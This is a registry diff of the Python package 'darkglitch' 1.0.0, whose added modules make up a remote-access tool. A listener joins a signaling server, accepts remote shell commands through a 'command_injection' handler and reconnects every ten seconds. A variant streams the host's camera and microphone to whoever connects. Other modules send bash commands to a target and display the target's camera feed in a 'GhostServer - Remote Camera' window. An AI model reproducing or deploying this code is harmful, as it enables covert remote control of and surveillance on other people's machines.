darkglitch 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
command/__init__.py ADDED
@@ -0,0 +1 @@
1
+ """Command handlers for the darkglitch CLI."""
@@ -0,0 +1,37 @@
1
+ # command/bash_connect.py
2
+ import asyncio
3
+
4
+ from signaling.signal import SignalClient
5
+ from signaling.handlers import OnlineHandler
6
+ from core.config import HOST, ROOM
7
+ from core.client import client_id, username
8
+
9
+ from command_injection.injector import RemoteCommandHandler as SenderHandler
10
+
11
+ async def bash_mode(target, command):
12
+ print("[+] Bash Mode")
13
+
14
+ signal = SignalClient(ROOM, client_id, HOST, username=username)
15
+ await signal.connect()
16
+
17
+ sender = SenderHandler(signal)
18
+
19
+ try:
20
+ result = await sender.send_command(
21
+ target=target,
22
+ command=command,
23
+ wait_for_result=True,
24
+ timeout=15,
25
+ )
26
+
27
+ if result is None:
28
+ print("[-] No response received for remote command")
29
+ return
30
+
31
+ if result.get("status") == "success":
32
+ print(result.get("output", "Bash executed successfully"))
33
+ else:
34
+ print("[-] Bash Failed")
35
+ print("ERROR:", result.get("error", "Unknown error"))
36
+ finally:
37
+ await signal.close()
command/listen.py ADDED
@@ -0,0 +1,83 @@
1
+ # command/listen.py
2
+
3
+ import asyncio
4
+
5
+ from core.client import client_id, username
6
+ from core.config import ROOM, HOST
7
+
8
+ from signaling.signal import SignalClient
9
+ from signaling.peer import Peer
10
+ from media.local_media import LocalMedia
11
+
12
+ from command_injection.injector import RemoteCommandHandler as ReceiverHandler
13
+
14
+
15
+ async def listen_mode():
16
+ print("[+] Listen mode")
17
+
18
+ retry_delay = 10
19
+
20
+ while True:
21
+ signal = None
22
+ media = None
23
+ peer = None
24
+
25
+ try:
26
+ # ----------------------------------
27
+ # Signaling
28
+ # ----------------------------------
29
+ signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
30
+
31
+ await signal.connect()
32
+
33
+ # ----------------------------------
34
+ # Command Injection
35
+ # ----------------------------------
36
+ ReceiverHandler(signal)
37
+
38
+ print(
39
+ f"[+] Listening as {username} "
40
+ f"({client_id})"
41
+ )
42
+
43
+ print("[+] Waiting for incoming offers...")
44
+
45
+ # ----------------------------------
46
+ # Keep process alive
47
+ # ----------------------------------
48
+ while True:
49
+ await asyncio.sleep(1)
50
+
51
+ except asyncio.CancelledError:
52
+ raise
53
+
54
+ except Exception as exc:
55
+ print(f"[!] Error: {exc}")
56
+
57
+ finally:
58
+ print("[+] Cleaning up...")
59
+
60
+ try:
61
+ if peer is not None:
62
+ await peer.close()
63
+ except Exception:
64
+ pass
65
+
66
+ try:
67
+ if media:
68
+ await media.stop()
69
+ except Exception:
70
+ pass
71
+
72
+ try:
73
+ if signal:
74
+ await signal.close()
75
+ except Exception:
76
+ pass
77
+
78
+ print(
79
+ f"[+] Reconnecting in "
80
+ f"{retry_delay} seconds..."
81
+ )
82
+
83
+ await asyncio.sleep(retry_delay)
@@ -0,0 +1,93 @@
1
+ import asyncio
2
+
3
+ from core.client import client_id, username
4
+ from core.config import ROOM, HOST
5
+
6
+ from signaling.signal import SignalClient
7
+ from signaling.peer import Peer
8
+ from media.local_media import LocalMedia
9
+
10
+ from command_injection.injector import RemoteCommandHandler as ReceiverHandler
11
+
12
+
13
+ async def listen_stream_mode():
14
+ print("[+] Listen mode")
15
+
16
+ retry_delay = 10
17
+
18
+ while True:
19
+ signal = None
20
+ media = None
21
+ peer = None
22
+
23
+ try:
24
+ # ----------------------------------
25
+ # Signaling
26
+ # ----------------------------------
27
+ signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
28
+
29
+ await signal.connect()
30
+
31
+ # ----------------------------------
32
+ # Camera / Microphone
33
+ # ----------------------------------
34
+ media = LocalMedia()
35
+ await media.start()
36
+
37
+ print("[+] Video Track:", media.get_video_track())
38
+ print("[+] Audio Track:", media.get_audio_track())
39
+
40
+ # ----------------------------------
41
+ # WebRTC Peer
42
+ # ----------------------------------
43
+ peer = Peer(signal)
44
+
45
+ # Send local camera/mic when a call is established
46
+ peer.add_media(media)
47
+
48
+ print(
49
+ f"[+] Listening as {username} "
50
+ f"({client_id})"
51
+ )
52
+
53
+ print("[+] Waiting for incoming offers...")
54
+
55
+ # ----------------------------------
56
+ # Keep process alive
57
+ # ----------------------------------
58
+ while True:
59
+ await asyncio.sleep(1)
60
+
61
+ except asyncio.CancelledError:
62
+ raise
63
+
64
+ except Exception as exc:
65
+ print(f"[!] Error: {exc}")
66
+
67
+ finally:
68
+ print("[+] Cleaning up...")
69
+
70
+ try:
71
+ if peer is not None:
72
+ await peer.close()
73
+ except Exception:
74
+ pass
75
+
76
+ try:
77
+ if media:
78
+ await media.stop()
79
+ except Exception:
80
+ pass
81
+
82
+ try:
83
+ if signal:
84
+ await signal.close()
85
+ except Exception:
86
+ pass
87
+
88
+ print(
89
+ f"[+] Reconnecting in "
90
+ f"{retry_delay} seconds..."
91
+ )
92
+
93
+ await asyncio.sleep(retry_delay)
command/online.py ADDED
@@ -0,0 +1,29 @@
1
+ # command/online.py
2
+ import asyncio
3
+
4
+ from signaling.signal import SignalClient
5
+ from signaling.handlers import OnlineHandler
6
+ from core.config import HOST, ROOM
7
+ from core.client import client_id, username
8
+
9
+
10
+ async def online_list_mode():
11
+ print("[+] Online list mode")
12
+
13
+ signal = SignalClient(ROOM, client_id, HOST, username=username)
14
+
15
+ await signal.connect()
16
+
17
+ signal.add_handler(OnlineHandler(client_id))
18
+
19
+ await signal.send({
20
+ "type": "get_online"
21
+ })
22
+
23
+ try:
24
+ while True:
25
+ await asyncio.sleep(1)
26
+ except asyncio.CancelledError:
27
+ pass
28
+ finally:
29
+ await signal.close()
@@ -0,0 +1,180 @@
1
+ # command/stream_connect.py
2
+ import os
3
+ import asyncio
4
+
5
+ if os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland":
6
+ # OpenCV installed in this venv only has the Qt xcb plugin,
7
+ # so use X11 via XWayland instead of forcing native Wayland.
8
+ os.environ["QT_QPA_PLATFORM"] = "xcb"
9
+
10
+ import cv2
11
+
12
+ from core.client import client_id, username
13
+ from core.config import ROOM, HOST
14
+
15
+ from signaling.peer import Peer
16
+ from signaling.signal import SignalClient
17
+
18
+
19
+
20
+
21
+
22
+
23
+ async def show_video(track, stop_event: asyncio.Event):
24
+ wayland = os.environ.get("XDG_SESSION_TYPE", "").lower() == "wayland"
25
+ use_tk = False
26
+ tk = None
27
+ Image = None
28
+ ImageTk = None
29
+
30
+ if wayland:
31
+ try:
32
+ import tkinter as tk
33
+ from PIL import Image, ImageTk
34
+ use_tk = True
35
+ except Exception as exc:
36
+ print(f"[!] Tkinter/Pillow not available for display fallback: {exc}")
37
+ use_tk = False
38
+
39
+ window_name = "GhostServer - Remote Camera"
40
+
41
+ if use_tk:
42
+ root = tk.Tk()
43
+ root.title(window_name)
44
+ label = tk.Label(root)
45
+ label.pack()
46
+ root.update()
47
+ print("[+] Tkinter display initialized")
48
+ else:
49
+ cv2.startWindowThread()
50
+ cv2.namedWindow(window_name, cv2.WINDOW_NORMAL)
51
+ cv2.resizeWindow(window_name, 640, 480)
52
+ cv2.moveWindow(window_name, 100, 100)
53
+ print("[+] OpenCV display initialized")
54
+
55
+ frame_count = 0
56
+ first_frame_logged = False
57
+ try:
58
+ while True:
59
+ try:
60
+ frame = await track.recv()
61
+ except Exception as exc:
62
+ print(f"[!] Failed to receive video frame: {exc}")
63
+ import traceback
64
+ print(traceback.format_exc())
65
+ await asyncio.sleep(0.1)
66
+ continue
67
+
68
+ frame_count += 1
69
+ if not first_frame_logged:
70
+ print(
71
+ f"[DEBUG] frame #{frame_count} type={type(frame).__name__} "
72
+ f"pts={getattr(frame, 'pts', None)} dts={getattr(frame, 'dts', None)}"
73
+ )
74
+
75
+ try:
76
+ image = frame.to_ndarray(format="bgr24")
77
+ if not first_frame_logged:
78
+ print(f"[DEBUG] ndarray shape={image.shape} dtype={image.dtype}")
79
+ except Exception as exc:
80
+ print(f"[!] Failed to convert VideoFrame to ndarray: {exc}")
81
+ import traceback
82
+ print(traceback.format_exc())
83
+ continue
84
+
85
+ if use_tk:
86
+ try:
87
+ rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
88
+ img = Image.fromarray(rgb)
89
+ photo = ImageTk.PhotoImage(image=img)
90
+ if not first_frame_logged:
91
+ print(
92
+ f"[DEBUG] PIL image type={type(img).__name__} "
93
+ f"PhotoImage type={type(photo).__name__}"
94
+ )
95
+
96
+ label.configure(image=photo)
97
+ label.image = photo
98
+ root.update_idletasks()
99
+ root.update()
100
+ if frame_count == 1:
101
+ print("[+] First Tkinter frame shown")
102
+ except Exception as exc:
103
+ print(f"[!] Tkinter display error on frame #{frame_count}: {exc}")
104
+ import traceback
105
+ print(traceback.format_exc())
106
+ continue
107
+ else:
108
+ try:
109
+ cv2.imshow(window_name, image)
110
+ if frame_count == 1:
111
+ visible = cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE)
112
+ print(f"[+] First OpenCV frame shown, window visible={visible}")
113
+ key = cv2.waitKey(1)
114
+ if key == 27:
115
+ stop_event.set()
116
+ break
117
+ except Exception as exc:
118
+ print(f"[!] OpenCV display error on frame #{frame_count}: {exc}")
119
+ import traceback
120
+ print(traceback.format_exc())
121
+ continue
122
+
123
+ if not first_frame_logged:
124
+ first_frame_logged = True
125
+
126
+ if stop_event.is_set():
127
+ break
128
+
129
+ except Exception as exc:
130
+ print(f"[!] Video display loop fatal error: {exc}")
131
+ import traceback
132
+ print(traceback.format_exc())
133
+ finally:
134
+ if use_tk:
135
+ try:
136
+ root.destroy()
137
+ except Exception:
138
+ pass
139
+ print("[+] Tkinter window closed")
140
+ else:
141
+ cv2.destroyAllWindows()
142
+ print("[+] OpenCV window closed")
143
+
144
+
145
+ async def stream_mode(target):
146
+ print("[+] Connecting to stream...")
147
+
148
+ signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username)
149
+ await signal.connect()
150
+
151
+ peer = Peer(signal)
152
+ stop_event = asyncio.Event()
153
+
154
+ # Request remote video/audio from the listener.
155
+ peer.pc.addTransceiver("video", direction="recvonly")
156
+ peer.pc.addTransceiver("audio", direction="recvonly")
157
+
158
+ async def track_handler(track):
159
+ print("[+] Incoming remote track, scheduling display task")
160
+ await show_video(track, stop_event)
161
+
162
+ peer.on_track = track_handler
163
+
164
+ try:
165
+ await peer.create_offer(target)
166
+ except Exception as exc:
167
+ print(f"[!] Failed to create offer: {exc}")
168
+ await peer.close()
169
+ await signal.close()
170
+ return
171
+
172
+ try:
173
+ await stop_event.wait()
174
+ except asyncio.CancelledError:
175
+ print("Shutdown requested")
176
+ raise
177
+ finally:
178
+ print("Closing peer and signaling connection")
179
+ await peer.close()
180
+ await signal.close()
@@ -0,0 +1 @@
1
+ """Helpers for remote command injection."""